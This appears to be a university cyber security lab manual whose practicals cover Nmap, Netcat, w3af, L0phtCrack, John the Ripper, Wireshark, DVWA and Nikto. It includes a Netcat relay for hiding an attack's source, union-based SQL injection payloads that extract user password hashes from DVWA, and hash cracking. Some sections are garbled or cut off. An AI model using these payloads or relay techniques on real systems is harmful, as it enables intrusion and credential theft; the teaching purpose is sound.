Final Cyber Security Lab Manual Practical 1 To Practical 10
Final Cyber Security Lab Manual Practical 1 To Practical 10
Final Cyber Security Lab Manual Practical 1 To Practical 10
Objective:- Nmap uses different techniques to perform scanning including: TCP connect() scanning,
TCP reverse ident scanning, FTP bounce scanning and so on.
Thoery:-
Nmap is short for Network Mapper. It is an open source security tool for network exploration,
security scanning and auditing. However, nmap command comes with lots of options that can
make the utility more robust and difficult to follow for new users.
The purpose of this post is to introduce a user to the nmap command line tool to scan a host and/or
network, so to find out the possible vulnerable points in the hosts. You
will also learn how to use Nmap for offensive and defensive purposes
Uses of NMAP
Ex:-nmap 127.0.0.1
nmap target(Multiple IP addresses)
Ex-nmap 1271,2,3.0.0.
The TCP Window scan is similar to the ACK scan but can sometimes detect open ports as well as
filtered/unfiltered ports. This is due to anomalies in TCP Window size reporting by some
operating systems.RPC Scans can be used in conjunction with other scan types to try to determine
if an open TCP or UDP port is an RPC service, and if so, which program, and version numbers are
running on it. Decoys are not supported with RPC scans List scanning simply prints a list of IPs
and names without actually pinging or scanning the hosts.
Command Type:-nmap - sL target
Scanning for open UDP ports is done with the sU option. With this scan type, Nmap sends 0byte
UDP packets to each target port on the victim. Receipt of an ICMP Port Unreachable message
signifies the port is closed, otherwise it is assumed open.
One major problem with this technique is that, when a firewall blocks outgoing ICMP Port
Unreachable messages, the port will appear open. These falsepositives are hard to distinguish from
real open ports.
Another disadvantage with UDP scanning is the speed at which it can be performed. Most
operating systems limit the number of ICMP Port Unreachable messages which can be generated
in a certain time period, thus slowing the speed of a UDP scan. Nmap adjusts its scan speed
accordingly to avoid flooding a network with useless packets. An interesting point to note here is
that Microsoft do not limit the Port Unreachable error generation frequency, and thus it is easy to
scan a Windows machine’s 65,535 UDP Ports in very little time!!
UDP Scanning is not usually useful for most types of attack, but it can reveal information about
services or trojans which rely on UDP, for example SNMP, NFS, the Back Orifice trojan backdoor
and many other exploitable services. Most modern services utilise TCP, and thus UDP scanning is
not usually included in a preattack information gathering exercise unless a TCP scan or other
sources indicate that it would be worth the time taken to perform a UDP scan.
The IP Protocol Scans attempt to determine the IP protocols supported on a target. Nmap sends a
raw IP packet without any additional protocol header (see a good TCP/IP book for information
about IP packets), to each protocol on the target machine. Receipt of an ICMP Protocol
Unreachable message tells us the protocol is not in use, otherwise it is assumed open. Not all hosts
send ICMP Protocol Unreachable messages. These may include firewalls, AIX, HPUX and Digital
UNIX). These machines will report all protocols open. This scan type also falls victim to the
ICMP limiting rate described in the UDP scans section, however since only 256 protocols are
possible (8bit field for IP protocol in the IP header) it should not take too long.
Command:-nmap -sO target(IP address)
Ex:-nmap -sO 127.0.0.1
This scan type lists the hosts within the specified range that responded to a ping. It allows you to
detect which computers are online, rather than which ports are open. Four methods exist within
Nmap for ping sweeping. The first method sends an ICMP ECHO REQUEST (ping request)
packet to the destination system. If an ICMP ECHO REPLY is received, the system is up, and
ICMP packets are not blocked. If there is no response to the ICMP ping, Nmap will try a "TCP
Ping", to determine whether ICMP is blocked, or if the host is really not online.A TCP Ping sends
either a SYN or an ACK packet to any port (80 is the default) on the remote system. If RST, or a
SYN/ACK, is returned, then the remote system is online. If the remote system does not respond,
either it is offline, or the chosen port is filtered, and thus not responding to anything.
When you run an Nmap ping scan as root, the default is to use the ICMP and ACK methods.
Nonroot users will use the connect() method, which attempts to connect to a machine, waiting for
a response, and tearing down the connection as soon as it has been established similar to the
SYN/ACK method for root users, but this one establishes a full TCP connection The ICMP scan
type can be disabled by setting P0
Ex. nmap -sP 127.0.0.1
When a TCP connection is made between two systems, a process known as a "three way
handshake" occurs. This involves the exchange of three packets, and synchronises the systems
with each other (necessary for the error correction built into TCP. Refer to a good TCP/IP book for
more details.
The system initiating the connection sends a packet to the system it wants to connect to. TCP
packets have a header section with a flags field. Flags tell the receiving end something about the
type of packet, and thus what the correct response is.
Here, I will talk about only four of the possible flags. These are SYN (Synchronise), ACK
(Acknowledge), FIN (Finished) and RST (Reset). SYN packets include a TCP sequence number,
which lets the remote system know what sequence numbers to expect in subsequent
communication. ACK acknowledges receipt of a packet or set of packets, FIN is sent when a
communication is finished, requesting that the connection be closed, and RST is sent when the
connectionis to be reset (closed immediately).
To initiate a TCP connection, the initiating system sends a SYN packet to the destination, which
will respond with a SYN of its own, and an ACK, acknowledging the receipt of the first packet
(these are combined into a single SYN/ACK packet). The first system then sends an ACK packet
to acknowledge receipt of the SYN/ACK, and data transfer can then begin. SYN or Stealth
scanning makes use of this procedure by sending a SYN packet and looking at the response. If
SYN/ACK is sent back, the port is open and the remote end is trying to open a TCP connection.
The scanner then sends an RST to tear down the connection before it can be established fully;
often preventing the connection attempt appearing in application logs. If the port is closed, an RST
will be sent. If it is filtered, the SYN packet will have been dropped and no response will be sent.
In this way, Nmap can detect three port states open, closed and filtered. Filtered ports may
required further probing since they could be subject to firewall rules which render them open to
some IPs or conditions, and closed to others
These scans are so called because UNIX sockets programming uses a system call named connect()
to begin a TCP connection to a remote site. If connect() succeeds, a connection was made. If it
fails, the connection could not be made (the remote system is offline, the port is closed, or some
other error occurred along the way). This allows a basic type of port scan, which attempts to
connect to every port in turn, and notes whether or not the connection succeeded. Once the scan is
completed, ports to which a connection could be established are listed as open, the rest are said to
be closed.
This method of scanning is very effective, and provides a clear picture of the ports you can and
cannot access. If a connect() scan lists a port as open, you can definitely connect to it that
is what the scanning computer just did! There is, however, a major drawback to this kind of scan;
it is very easy to detect on the system being scanned. If a firewall or intrusion detection system is
running on the victim, attempts to connect() to every port on the system will almost always trigger
a warning. Indeed, with modern firewalls, an attempt to connect to a single port which has been
blocked or has not been specifically "opened" will usually result in the connection attempt being
logged. Additionally, most servers will log connections and their source IP.
Version Detection collects information about the specific service running on an open port,
including the product name and version number. This information can be critical in determining an
entry point for an attack. The sV option enables version detection, and the A option enables both
OS fingerprinting and version detection, as well as any other advanced features which may be
added in future releases.
Command :-nmap –sV target
Ex-nmap –sV 127.0.0.1
List of Interface
Command :-nmap --iflist
Command nmap –v gtu.ac.in
It shows the open ports
Viva Questions
1. What is the purpose of using namp?
Ans Find out what ports are open on the machine that you just scanned
Check How many Interface is available in system.
2. What is the command to check the Interface?
Ans:-nmap –iflist
3 What is the command to TCP Scanning?
Ans:-nmap –sT Hostname
4 What is the command to Scan Protocol?
Ans:-nmap –so Hostname
5. what is the command to Scan the UDP?
Ans:- nmap –sU Host name.
Conclusion:-
Using This tool we have learned the various scanning methods for TCP,UDP,Protocol
scanning,host scanning and basic idea of usage of nmap.
PRACTICAL 2
Aim:-Port Scanning using Nmap
Objective:-To learn the various port details of network and packet send and receive process
using nmap.
Thoery:-
Port Scanning Port scanning allows a hacker to determine what services are running on the systems that
have been identified. If vulnerable or insecure services are discovered, the hacker may be able to exploit
these to gain unauthorized access. There are a total of 65,535 * 2 ports (TCP & UDP). While a complete
scan of all these ports may not be practical, analysis of popular ports should be performed. Many port
scanners ping first, so make sure to turn this feature off to avoid missing systems that have blocked ICMP.
Popular port scanning programs include: Nmap, Netscan Tools, Superscan and Angry IP Scanner. The port
numbers are divided into three ranges: 1. Well Known Ports (from 0 through 1023) 2. Registered Ports
(from 1024 through 49151) 3. Dynamic and/or Private Ports (from 49152 through 65535).
TCP and UDP Port Scanning Remember thatTCP offers robust communication and is considered a
connection protocol.TCP establishes a connection by using what is called a three-way handshake.
The TCP header contains a 1-byte field for the flags. Look at the figure below to see TCP flag
structure. ACK: The receiver will send an ACK to acknowledge data. SYN:Used during the three-
step session setup to inform the other party to begin communication and used to agree on initial
sequencenumbers. FIN: Used during a normal shutdown to inform the other host that thesender
has no more data to send. RST: Used to abort an abnormal session. PSH: Used to force data
delivery without waiting for buffers to fill. URG: Used to indicate priority data. At the conclusion
of communication, TCP terminates the session by usingwhat is called a four-step shutdown. See
the figure below.
From a scanning standpoint, this means that TCP has the capability to return
many different types of responses to a scanning program. By manipulating these
features, an attacker can craft packets in an attempt to coax a server to respond
or to try and avoid detection of an intrusion detection system (IDS). Many of
these methods are built in to popular port-scanning tools. Before we look
specifically at the tools and its popular port-scanning techniques, let’s see the
port number of the common services
To find the Port Details
Command nmap –p (port number) (hostname)
Ex:-nmap –p 80 127.0.0.1
Conclusion
In this practical we have learned the port scanning commands interface detection using nmap tool.
PRACTICAL 3
Aim TCP/UDP Connectivity using Netcat
Objective:- To learn the nectat is a utility that is able to write and read data across TCP and UDP
network connections
Thoery:-
Originally released in 1996, Netcat is a networking program designed to read and write data
across both Transmission Control Protocol TCP and User Datagram Protocol (UDP) connections
using the TCP/Internet Protocol (IP) protocol suite. Netcat is often referred to as a ”Swiss Army
knife” utility, and for good reason. Just like the multi-function usefulness of the venerable Swiss
Army pocket knife, Netcat’s functionality is helpful as both a standalone program and a back-end
tool in a wide range of applications. Some of the many uses of Netcat include port scanning,
transferring files, grabbing banners, port listening and redirection, and more nefariously, a
backdoor.
There is some debate on the origin of the name Netcat, but one of the more common (and
believable) explanations is that Netcat is simply a network version of the vulnerable cat program.
Just as cat reads and writes information to files, Netcat reads and writes information across
network connections. Furthermore, Netcat is specifically designed to behave as cat does
Windows Installation
Windows installation couldn’t be any easier. Simply download the zip file from
www.vulnwatch.org/netcat/nc111nt.zip. Unzip to the location of your choice, and you’re finished
(see Figure 1.1). There are a couple of important files to check out: hobbit.txt is the original
documentation, readme.txt is an explanation of a security fix from version 1.10 to 1.11, and
license.txt is the standard GNU general public license.
Confirming Your Installation
Regardless of whether or not you choose to install the Windows or Linux version of Netcat, to
confirm that Netcat installed correctly, type nc –h or netcat –h to display the help screen. Notice
there are a few differences in options. In the Windows version, –L represents a persistent listening
mode (to be described later), while it represents a tunneling mode in the Linux version. Also, the
Linux version includes –V (note the capital letter), which displays version information. The
Windows version lacks this option. Finally, the Linux version includes –x (hexdump incoming and
outgoing traffic), which is not included in the Windows version, but is implied by the –o option.
Netcat does have some rudimentary port scanning capabilities. As BackTrack developer Mati
Aharoni has said, “It’s not always the best tool for the job, but if I was stranded on an island, I’d
take Netcat with me.” I would guess that many people, given the choice of only one tool, would
also choose Netcat.
Port scanning with Netcat occurs in the client mode. The syntax is as follows:
nc –[options] hostname [ports]
Banner Grabbing
Banner grabbing is an enumeration technique, which is designed to determine the brand, version,
operating system, or other relevant information about a particular service or application. This is
especially important if you are looking for a vulnerability associated with a particular version of
some service.
The syntax of a banner grab is not unlike the standard Netcat command line. Run Netcat in client
mode, list the appropriate hostname, and finally list the port number of the appropriate service. In
some cases, you may not have to enter any information. In other cases, you will have to enter a
valid command based on the particular protocol
Moving to a slightly darker shade of operation, Netcat can be used to redirect both ports and
traffic. This is particularly useful if you want to obscure the source of an attack. The idea is to run
Netcat through a middle man so that the attack appears to be coming from the middle man and not
the original source. The following example is very simple, but multiple redirections could be used.
This example also requires that you “own” the middle man and have already transferred Netcat to
that box. This redirection of traffic is called a relay. From the source
computer:
nc <hostname of relay> 12345
On the relay computer:
nc –l –p 12345 | nc <hostname of target> 54321
Server Mode
Client Mode
In this basic scenario, input from the source computer (in client mode) is sent to the relay
computer (in server mode). The output is piped into a second instance of Netcat (in client mode),
which ultimately connects to the target computer. Second, Netcat originates on port 12345, yet the
attacker would see the attack coming from port 54321. This is a simple case of port redirection.
This technique can also be used to hide Netcat traffic on more common ports, or change ports of
applications whose normal ports might be blocked by a firewall.
Viva Questions
Ans nc mail.server.net 25
Q2 What is the command Setting up a one-shot webserver on port 8080 to present the
content of a file.
Q3 How to Checking whether UDP ports (-u) 80–90 are open on 192.168.0.1 using zero mode
I/O (-z)
Q 4 how to Test whether UDP port is open: simple UDP server and client
Ans:- On the listening host, i.e. on the server whose port needs to be checked, do the following:
nc -ul 7000
On the sending host, do the following – note that servname is the hostname of the listening host:
nc -u servname 7000
Q 5 Pipe via UDP (-u) with a wait time (-w) of 1 second to "loggerhost" on port 514
Ans echo '<0>message' | nc -w 1 -u loggerhost 514
Conclusion:-
After Performing the practical we have learned the port scanning,port redirection, chat interface
application,transferring files with use of Netcat
PRACTICAL 4
AIM: Introduction to w3af and configuring plugins and target on w3af console
Objective:-To learn how you secure your web applications by finding and exploiting all web application
vulnerabilities.
Thoery:-
INTRODUCTION OF W3AF:
Introduction of w3af tool:
w3af is a Web Application Attack and Audit Framework. The project’s goal is to create a
framework to help you secure your web applications by finding and exploiting all web
application vulnerabilities.
w3af>>> help
|---------------------------------------------------------------- |
| start | Start the scan. |
| plugins | Enable and configure plugins. |
| exploit | Exploit the vulnerability. |
| profiles | List and use scan profiles. |
| cleanup | Cleanup before starting a new scan. |
|---------------------------------------------------------------- |
| help | Display help. Issuing: help [command] , prints |
| | more specific help about "command" |
| version | Show w3af version information. |
| keys | Display key shortcuts. |
|---------------------------------------------------------------- |
| http-settings | Configure the HTTP settings of the framework. |
| misc-settings | Configure w3af misc settings. |
| target | Configure the target URL. |
|---------------------------------------------------------------- |
| back | Go to the previous menu. |
| exit | Exit w3af. |
|---------------------------------------------------------------- |
| kb | Browse the vulnerabilities stored in the |
| | Knowledge Base |
|---------------------------------------------------------------- |
w3af>>>
w3af>>>
The main menu commands are ecplained in the help that is displayed above. The internals of
every menu will be seen later in this document. Other interesting thing to notice about consol
UI is the ability for tabbed copletion (type ‘plu’ and then TAB) and the command history
(after typing some commands, naigate the history with the up and down arrows).
To enter a configuration menu, you just have to type its name and hit enter, you will see how
the prompt changed and you are now in that context:
w3af>>> http-settings
w3af/config:http-settings>>>
Here is a usage example of these commands in the “http-settings” menu:
w3af/config:http-settings>>> help
|-----------------------------------------------------------------|
| view | List the available options and their values. |
|----------------------------------------------------------------- |
| back | Go to the previous menu. |
| exit | Exit w3af. |
|----------------------------------------------------------------- |
w3af/config:http-settings>>> view
|-----------------------------------------------------------------------------------------------
|
| Setting | Value | Description |
|-----------------------------------------------------------------------------------------------
|
| url_parameter | | Append the given URL parameter to every accessed URL. |
| | | Example: http://www.foobar.com/index.jsp;<parameter>?id=2 |
| timeout | 15 | The timeout for connections to the HTTP server |
| headers_file | | Set the headers filename. This file has additional headers|
| | | which are added to each request. |
|-----------------------------------------------------------------------------------------------
|
...
|-----------------------------------------------------------------------------------------------
|
| basic_auth_user | | Set the basic authentication username for HTTP requests |
| basic_auth_passwd | | Set the basic authentication password for HTTP requests |
| basic_auth_domain | | Set the basic authentication domain for HTTP requests |
|-----------------------------------------------------------------------------------------------
|
w3af/config:http-settings>>> save
w3af/config:http-settings>>> back
w3af>>>
To summarize, the view command is used to list all configurable parameters, with their values
and a description. The set command is used to change a value. Finally we can execute back or
press CTRL+C to return to the previous menu. A detailed help for every configuration
parameter can be obtained using help parameter as shown in this example:
===========================
Set low timeouts for LAN use and high timeouts for slow Internet connections.
w3af/config:http-settings>>>
The http-settings and the misc-settings configuration menus are used to set system wide
parameters that are used by the framework. All the parameters have defaults and in most cases
you can leave them as they are.w3af was designed in a way that allows beginners to run it
without having to learn a lot of its internals.
CONFIGURATION:
To find specific information about a particular plugin, just type pluginType desc pginname.
For e.g. if I want to know more information about the spiderMan indexplugin I would write
the command discovery desc spiderMan.
One of the important things to note here is that the spiderMan plugin has 2 configurable
parameters. To set the configurable parameters, type in the following commands as shown in
the figure below. As you can see from the figure below, i have set the listenPort to 55555.
2) discovery all- Enables all the plugins (not advisable as it may take a long time to finish).
Once this is done, it is now time to give the location of the target server. Type back to
navigate back. Then type the following commands as shown in the figure below to set the
target. As we can see, the target is set by the set target target-address command.
Once this is done, type back to navigate back and the type start to start the plugin. As we can
see, w3af has figured out the version of Apache and php running on my server. We will
discuss more features of the discovery plugin later.
2)Audit-Audit plugins are used to detect vulnerabilities in the URL’s or forms provided by the
discovery plugins. This is where the interaction between plugins in w3af comes to use. The
audit plugin has options for testing different types of vulnerabilities like xss, sqli, csrf etc. It
does this by injecting different strings in its request and then looking for a specific value
(corresponding to the input string) in the response. False positives may occur during this
process. If i want to know how the sqli plugin works, i could type in the commands as shown
in the figure below.
Again, I can set the different configuration parameters while selecting a particular plugin. For
e.g. in the figure below I am increasing the number of checks while performing a XSS audit.
3)Grep – The grep plugin is used to find interesting information in the requests and responses
going through like email accounts, forms with file upload capabilities, hashes, credit card
numbers, email addresses etc. You can set the type of information you want to look for by
setting the appropriate plugin. Since the grep plugin only analyzes the request and response, it
is important to have some kind of discovery plugin enabled for it to work. Otherwise grep
plugins are of no use. As you can see in the figure below i have set grep to use the getMails
plugin.
4) Brute force – Brute force plugins can be used to brute force login forms as well as http-
auth logins. Once the discovery plugin finds any form with form based input or an http-auth
input it will automatically launch the brute force attack against it if the corresponding brute
force plugin is enabled. Some of the important things to know about the brute force are the
configuration parameters
It is advisable that you use your own configuration file for the list of usernames and passwords.
Also be sure to take a look at some other options. As you can see in the figure below, i have set the
option passEqUser to false simply because i don’t think users wouldn’t have their passwords as
the same as their username
CONCLUSION:
Thus, we looked at the w3af. It has to offer to help us perform web application vulnerability
assessment and penetration testing. We then looked at how we can write our own w3af scripts
to help automate the task of web application testing. Finally, we then looked at all the
different preconfigured profiles that w3af has to offer and discussed their applications in
different scenarios.
PRACTICAL 5(A)
Aim:Passwork Cracking Using L0phtCrack
L0phtCrack is known as best windows password auditing tool. It can be used by network/system
administrator for auditing weak passwords and can also help a hacker to recover password
from password hashes. Using L0phtCrack is not a rocket science but still I found there are many
who always got stuck with a problem using this awesome tool.
This tutorial aims at those who are very new to password cracking using a tools. So lets begin
with those who are using this tool for very first time.
When you'll open L0phtCrack for very first time you will be presented with first run wizard. For first time
let wizard guide you through password cracking cycle.
If you don't wish to see wizard from next time select check box, “Don't show me this wizard on
start up”, press next.
Now you'll be presented with four options to get encrypted password
Means retrieve password from your own machine for auditing. As a beginner we will be having our look
on this section for now.
If you are network administrator working with some specific domain of computers and you have a
network which grants remote access to its users then and only then this option is helpful to you. Password
retrieval and cracking will be same as other option the only extra thing you have to do here is provide
administrator username and password along with domain name to which connection will be established.
You might be knowing when we talk about windows NT 4.0 today that only means windows 2000 server.
When repaired it stores a copy of SAM file as SAM._ in C:\Windows\repair which can be used for auditing.
You can use this option to retrieve passwords from this file.
If you want to sniff password hashes from network use this option. L0phtCrack provides an inbuilt Wincap
tool to sniff around network to grab password hashes.
In next window you'll be presented with type of password audit you want to apply on password
hashes. That is what kinda password attack L0phtCrack should use against password hashes.
Quick and Common password audit will check password against weak passwords where as strong
password audit will check password with brute force and hybrid attack, click here to know more
about types of password attack. You can also select custom attack type in which you can specify
how many types of password attack you want apply on password hashes. If you are beginner then
currently don't bother about custom settings, we will discus it later. Assuming you are using weak
passwords for first audit we will select any one of first two options.
Next you'll be presented with screen which will ask you to select which options should appear
with final audit report. No matter how much experienced you are or nerd I would recommend let
all options checked. If you want to save this setting as default then save it and press finish.
Conclusion:-After Performing the practical we have learned the simple password cracking.
PRACTICAL 5(B)
Aim:-Passwork Cracking Using John the Ripper
Objective:-To learn the password auditing process from different hash values.
John the Ripper is a fast password cracker, currently available f or many f lavors of
Unix,Windows, DOS, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix
passwords. It is one of t he most popular password testing and breaking programs as it
combines a number of password crackers into one package, auto detects password hash
types, and includes a customizable cracker.
I t can be run against various encrypted password format s including several crypt
password hash types most commonly found on various Unix flavors (based on DES, MD5,
or Blowfish),Kerberos AFS, and Windows NT/ 2000/ XP/ 2003 LM hash. Addit ional
modules have ext ended its ability to include MD4based password hashes and passwords st
ored in LDAP, MySQL, and others.
LM is C99FFEFFD8300629F500944B53168930
NTLM is 892A0EAA0CFE35F105138006D6415A2E
Fig:-Password Results
Left Side shows the Password and Right Sides Shows the Username
Fig:-
Fig:-preview the results of this operation
Fig:-Tests all of the compiled in hashing algorithms for proper operation and
benchmarks them
Conclusion:-
We have learned the password auditing process usind John the ripper tool for diffent type of
HASH Values.
PRACTICAL 6
Aim :Network Packet Caputring Using Wireshark
Objective:
In this practical network packet analyzer will try to capture network packets and tries to display
that packet data as detailed as possible.
Thoery:-
PACKER SNIFFER
PACKER SNIFFER The basic tool for observing the messages exchanged between executing
protocol entities is called a packet sniffer. As the name suggests, a packet sniffer captures
(“sniffs”) messages being sent/received from/by your computer; it will also typically store and/or
display the contents of the various protocol fields in these captured messages. A packet sniffer
itself is passive. It observes messages being sent and received by applications and protocols
running on your computer, but never sends packets itself. Similarly, received packets are never
explicitly addressed to the packet sniffer. Instead, a packet sniffer receives a copy of packets that
are sent / received from/by application and protocols executing on your machine.
Figure 1 shows the structure of a packet sniffer. At the right of Figure 1 are the protocols (in this
case, Internet protocols) and applications (such as a web browser or ftp client) that normally run
on your computer. The packet sniffer, shown within the dashed rectangle in Figure 1 is an addition
to the usual software in your computer, and consists of two parts. The packet capture library
receives a copy of every link-layer frame that is sent from or received by your computer.
Messages exchanged by higher layer protocols such as HTTP, FTP, TCP, UDP, DNS, or IP all are
eventually encapsulated in link-layer frames that are transmitted over physical media such as an
Ethernet cable. In Figure 1, the assumed physical media is an Ethernet, and so all upper layer
protocols are eventually encapsulated within an Ethernet frame. Capturing all link-layer frames
thus gives you all messages sent/received from/by all protocols and applications executing in your
computer.
The second component of a packet sniffer is the packet analyzer, which displays the contents of all
fields within a protocol message. In order to do so, the packet analyzer must “understand” the
structure of all messages exchanged by protocols. For example, suppose we are interested in
displaying the various fields in messages exchanged by the HTTP protocol in Figure 1. The packet
analyzer understands the format of Ethernet frames, and so can identify the IP datagram within an
Ethernet frame. It also understands the IP datagram format, so that it can extract the TCP segment
within the IP datagram. Finally, it understands the TCP segment structure, so it can extract the
HTTP message contained in the TCP segment. Finally, it understands the HTTP protocol and so,
for example, knows that the first bytes of an HTTP message will contain the string “GET,”
“POST,” or “HEAD”.
We will be using the Wireshark packet sniffer [http://www.wireshark.org/] for these labs, allowing
us to display the contents of messages being sent/received from/by protocols at different levels of
the protocol stack. (Technically speaking, Wireshark is a packet analyzer that uses a packet
capture library in your computer). Wireshark is a free network protocol analyzer that runs on
Windows, Linux/Unix, and Mac computers.
It’s an ideal packet analyzer for our labs – it is stable, has a large user base and well-documented
support that includes a user-guide (http://www.wireshark.org/docs/wsug_html_chunked/), man
pages (http://www.wireshark.org/docs/man-pages/), and a detailed FAQ
(http://www.wireshark.org/faq.html), rich functionality that includes the capability to analyze
hundreds of protocols, and a well-designed user interface. It operates in computers using Ethernet,
Token-Ring, FDDI, serial (PPP and SLIP), 802.11 wireless LANs, and ATM connections (if the
OS on which it's running allows Wireshark to do so).
Running Wireshark
When you run the Wireshark program, the Wireshark graphical user interface shown in Figure 2
will de displayed. Initially, no data will be displayed in the various windows.
The Wireshark interface has five major components:
The command menusare standard pulldown menus located at the top of the window. Of
interest to us now are the File and Capture menus. The File menu allows you to save
captured packet data or open a file containing previously captured packet data, and exit the
Wireshark application. The Capture menu allows you to begin packet capture.
The packet-listing window displays a one-line summary for each packet captured,
including the packet number (assigned by Wireshark; this is not a packet number contained
in any protocol’s header), the time at which the packet was captured, the packet’s source
and destination addresses, the protocol type, and protocol-specific information contained
in the packet. The packet listing can be sorted according to any of these categories by
clicking on a column name. Theprotocol type field lists the highest level protocol that sent or
received this packet, i.e., the protocol that is the source or ultimate sink for this packet.
The packet-header details windowprovides details about the packet selected (highlighted) in
the packet listing window. (To select a packet in the packet listing window, place the
cursor over the packet’s one-line summary in the packet listing window and click with the
left mouse button.). These details include information about the Ethernet frame and IP
datagram that contains this packet. The amount of Ethernet and IP-layer detail displayed
can be expanded or minimized by clicking on the right-pointing or down-pointing
arrowhead to the left of the Ethernet frame or IP datagram line in the packet details
window. If the packet has been carried over TCP or UDP, TCP or UDP details will also be
displayed, which can similarly be expanded or minimized. Finally, details about the
highest level protocol that sent or received this packet are also provided.
The packet-contents window displays the entire contents of the captured frame, in both
ASCII and hexadecimal format.
Towards the top of the Wireshark graphical user interface, is the packet display filter field,
into which a protocol name or other information can be entered in order to filter the
information displayed in the packet-listing window (and hence the packet-header and
packet-contents windows). In the example below, we’ll use the packet-display filter field
to have Wireshark hide (not display) packets except those that correspond to HTTP
messages.
Wireshark displays the data contained by a packet (which is currently selected) at the bottom of
the window. Sometimes, while debugging a problem, it is required to filter packets based on a
particular byte sequence. we can easily do that using Wireshark.
For example, TCP packets containing the 01:01:04 byte sequence can be filtered using the
following way:
we can also filter the captured traffic based on network ports. For example, to display only those
packets that contain TCP source or destination port 80, use the tcp.port filter. Here is an example:
tcp.port eq 80
For example:
ip.dst!=192.168.1.1
Applying AND Condition in Filter
This filter helps filtering packet that match exactly with multiple conditions.
Suppose there is a requirement to filter only those packets that are HTTP packets and have source ip as
‘192.168.9.71’. Use this filter:
http&&ip.src==192.168.9.71
Using OR Condition in Filter
This filter helps filtering the packets that match either one or the other condition.
Suppose, there may arise a requirement to see packets that either have protocol ‘http’ or ‘arp’. In
that case one cannot apply separate filters. So there exists the ‘||’ filter expression that ORs two
conditions to display packets matching any or both the conditions. In the example below, we tried
to filter the http or arp packets using this filter:
To See The TCP PACKETS
Filter on Windows -- Filter out noise, while watching Windows Client - DC exchanges
Wireshark also has the ability to filter results based on TCP flags. For
example, to display on those TCP packets that contain SYN flag, use
the tcp.flags.syn filter. Here is an example:
tcp.flags.syn
TCP Source Port
tcp.srcport
tcp.dstport
Router Alert
ip.opt.ra
VIVA QUESTIONS
Q 1How would you setup wireshark to monitor packets passing through
an internet router
Ans system on the network can be configured and setup with wireshark. The appropriate port on
the switch to which the system and internet router is connected can be configured for port
mirroring. All packets passing through the switch interface to the router can be mirrored to the
system on which wireshark is setup.
Q 4 Can Wireshark read capture files from your favorite network analyzer?
Ans:- Support for particular capture file formats is added to Wireshark as a result of people
contributing that support; no formal plans for adding support for particular capture file formats in
particular future releases exist.
If a network analyzer writes out files in a format already supported by Wireshark (e.g., in libpcap
format), Wireshark may already be able to read them, unless the analyzer has added its own
proprietary extensions to that format.
CONCLUSION:
Thus, Wireshark provides a rich set of features which can be used by Network Analysts,
Administrators, Security Analysts and anyone who is curious to learn about networking.
Utilizing these features allow us to effectively understand, troubleshoot and make our
network more secure.
PRACTICAL 7
Objective:-To learn the various vulernabily scanning using cross site scripting,sql injection.
Thoery:-
DVWA is expanded as Damn Vulnerable Web Application which helps in the better understanding
of the process of web application security. It helps us to learn the concepts of web security under a
class room or legal environment. This tool can be used to understand many concepts in web
application security such as SQL injection, XSS (both reflected and persistent) , Remote command
execution, CSRF etc. Now let us setup DVWA lab in windows environment.
Requirement:
DVWA as the name itself suggest it is damn vulnerable, so do not upload it to any hosting for
testing in the real life environment. Continuing and/or using this lab outside your “own” test
environment is considered malicious and is against the law. If you upload this lab in hosting site,
your website can be compromised or hacked easily.
Steps:
1. Install you xampp in windows. After which you should find a control panel as shown below.
Then start your Apache and MySQL modules. Apache is a web server and MySQL is used to
maintain the database.
2. Extract DVWA lab setup in the location ” C:\xampp\htdocs\dvwa” as is shown below.
3. Now open up your web browser type ” localhost/dvwa ” where you will find mysql.error() then
if you try to create table in the database it will show and error or prompt that it could not create
your database. If this problem exists then we will have to edit our configuration file of DVWA.
4. Go to the location “ C:\xampp\htdocs\dvwa\config ” where we can find a file named
config.inc.php which is the file you will have to edit. I am using Notepad++ editor to edit the file.
We can also use Notepad also to edit the file .
Now here in line number 17 the server is setup to ‘localhost’ and the database name is ‘dvwa’
which is not created, the user is ‘root’ here we should give the phpmyadmins username and
password, the username of phpmyadmin is always ‘root’ and the default password for the
phpmyadmin is kept blank so set db_password = ” [both single quotes without any spaces].
5. Now go to your browser and type ” localhost/dvwa/setup.php ” then create your database.
6. That’s all the setup is created. Now go for ” localhost/dvwa/login.php ” to login to your DVWA lab. The
default username is ” admin ” and the default password is ”password ” .
we
have setup the DVWA lab on our computer successfully.
ID: 1' and 'test'= 'b' union select (select group_concat(column_name) FROM
information_schema.columns where table_schema=database()),user()#
UserID:-1' and 'test'= 'b' union select (select group_concat(table_name) FROM
information_schema.tables where table_schema!='mysql' and table_schema!
='information_schema'),user()#
User ID: 1' and 'test'= 'b' union select (select group_concat(table_name) FROM
information_schema.tables where table_name='users'),user()#
UserID:-1' and 'test'= 'b' union select (select group_concat(column_name) FROM
information_schema.columns where table_name='users'),1#
GET COLUMNS FROM THE USERS TABLE
We will get the password details in hash format.we have to know actual password then please
Go to www.crackstation.net and copy that hash format of password and see the following results
Password in hash file:- 5f4dcc3b5aa765d61d8327deb882cf99
Username:- gordonb
Password :-abc123
Conclusion:-
PRACTICAL 8
Nikto is not designed as a stealthy tool. It will test a web server in the quickest time possible, and
is obvious in log files or to an IPS/IDS. However, there is support for LibWhisker's anti-IDS
methods in case you want to give it a try (or test your IDS system).
Not every check is a security problem, though most are. There are some items that are "info only"
type checks that look for things that may not have a security flaw, but the webmaster or security
engineer may not know are present on the server. These items are usually marked appropriately in
the information printed. There are also some checks for unknown items which have been seen
scanned for in log files.
Features
Here are some of the major features of Nikto. See the documentation for a full list of features and
how to use them.
The name "Nikto" is taken from the movie "The Day the Earth Stood Still", and of course subsequent
abuse by Bruce Campbell in "Army of Darkness". More information on the pop-culture popularity of Nikto
can be found. http://www.blather.net/blather/2005/10/klaatu_barada_nikto_the_day_th.html
Requirements
Any system which supports a basic Perl installation should allow Nikto to run. It has been
extensively tested on:
Windows (using ActiveState Perl and Strawberry Perl). Some POSIX features, such as
interactive commands may not work under Windows.
Mac OSX
Various Linux and Unix installations (including RedHat, Solaris, Debian, Ubuntu,
BackTrack, etc.)
--help Command
-host
-userproxy
If the machine running Nikto only has access to the target host (or update server) via an HTTP
proxy, the test can still be performed. There are two ways to use a proxy with Nikto, via the
nikto.conf file or directly on the command line.
-update
Nikto can be automatically updated, assuming you have Internet connectivity from the host Nikto
is installed on. To update to the latest plugins and databases, simply run Nikto with the -update
command.
-list-plugins
